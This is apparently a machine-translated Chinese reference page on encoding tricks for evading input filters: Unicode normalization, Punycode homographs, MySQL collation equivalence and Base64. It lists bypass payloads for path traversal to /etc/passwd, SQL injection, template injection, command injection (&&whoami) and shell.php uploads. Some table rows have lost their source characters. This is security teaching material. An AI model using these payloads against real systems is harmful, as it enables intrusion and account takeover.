编码与转换


文档摘要

编码与转换 编码与转换是一种在不改变数据核心含义的前提下,改变其表示或传输方式的技术。常见的例子包括 URL 编码、Base64、HTML 实体编码和 Unicode 转换。攻击者利用这些方法作为“小工具”,以绕过输入过滤器、躲避 Web 应用防火墙,或突破数据清理流程。 概要 Unicode Unicode 正规化 Punycode Base64 实验环境 参考文献 Unicode Unicode 是一种通用字符编码标准,用于表示世界上几乎所有书写系统的文本。每个字符(字母、数字、符号、表情符号)都被分配一个唯一的代码点(例如,“A”的代码点是 U+0041)。UTF-8 和 UTF-16 等 Unicode 编码格式定义了如何将这些代码点存储为字节。

编码与转换

编码与转换是一种在不改变数据核心含义的前提下,改变其表示或传输方式的技术。常见的例子包括 URL 编码、Base64、HTML 实体编码和 Unicode 转换。攻击者利用这些方法作为“小工具”,以绕过输入过滤器、躲避 Web 应用防火墙,或突破数据清理流程。

概要

Unicode

Unicode 是一种通用字符编码标准,用于表示世界上几乎所有书写系统的文本。每个字符(字母、数字、符号、表情符号)都被分配一个唯一的代码点(例如,“A”的代码点是 U+0041)。UTF-8 和 UTF-16 等 Unicode 编码格式定义了如何将这些代码点存储为字节。

Unicode 正规化

Unicode 正规化是将 Unicode 文本转换为标准化、一致形式的过程,以便在内存中以相同的方式表示等效字符。

Unicode 正规化参考表

  • NFC(正规化形式:规范组合):在可能的情况下,将分解序列组合成预组合字符。
  • NFD(正规化形式:规范分解):将字符分解为其分解形式(基础字符 + 组合标记)。
  • NFKC(正规化形式:兼容性组合):类似于 NFC,但还会用兼容性等效字符替换某些字符(外观或格式可能会改变)。
  • NFKD(正规化形式:兼容性分解):类似于 NFD,但也会分解兼容性字符。
字符 有效载荷 正规化后
(U+2025) ‥/‥/‥/etc/passwd ../../../etc/passwd
(U+FE30) ︰/︰/︰/etc/passwd ../../../etc/passwd
(U+FF07) ' or '1'='1 ' or '1'='1
(U+FF02) " or "1"="1 " or "1"="1
(U+FE63) admin'﹣﹣ admin'--
(U+3002) domain。com domain.com
(U+FF0F) //domain.com //domain.com
(U+FF1C) <img src=a> <img src=a/>
(U+FE5B) ﹛﹛3+3﹜﹜ {{3+3}}
(U+FF3B) [[5+5]] [[5+5]]
(U+FF06) &&whoami &&whoami
(U+FF50) shell.pʰp shell.php
ʰ (U+02B0) shell.pʰp shell.php
ª (U+00AA) ªdmin admin
import unicodedata string = "ᴾᵃʸˡᵒᵃᵈˢℊ" print ('NFC: ' + unicodedata.normalize('NFC', string)) print ('NFD: ' + unicodedata.normalize('NFD', string)) print ('NFKC: ' + unicodedata.normalize('NFKC', string)) print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Punycode

Punycode 是一种仅使用有限的 ASCII 字符集(字母、数字和连字符)来表示 Unicode 字符(包括非 ASCII 字母、符号和文字)的方法。

它主要用于域名系统 (DNS),而 DNS 传统上只支持 ASCII。Punycode 允许使用国际化域名 (IDN),从而通过将其转换为安全的 ASCII 形式,使域名能够包含多种语言的字符。

浏览器中可见(支持 IDN) 实际 ASCII(Punycode)
раypal.com xn--ypal-43d9g.com
paypal.com paypal.com

在 MySQL 中,相似的字符被视为相等。这种行为可能在密码重置、忘记密码以及 OAuth 提供程序部分被滥用。

SELECT 'a' = 'ᵃ'; +-------------+ | 'a' = 'ᵃ' | +-------------+ | 1 | +-------------+

此技巧适用于 SQL 查询使用 COLLATE utf8mb4_0900_as_cs 的情况。

SELECT 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs; +----------------------------------------+ | 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs | +----------------------------------------+ | 0 | +----------------------------------------+

Base64

Base64 编码是一种将二进制数据(如图像或文件)或包含特殊字符的文本转换为仅使用 ASCII 字符(A-Z、a-z、0-9、+ 和 /)的可读字符串的方法。每 3 个字节的输入被分成 4 组,每组 6 位,并映射到 4 个 Base64 字符。如果输入不是 3 个字节的倍数,则在输出中用 = 字符进行填充。

echo -n admin | base64 YWRtaW4= echo -n YWRtaW4= | base64 -d admin

实验环境

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U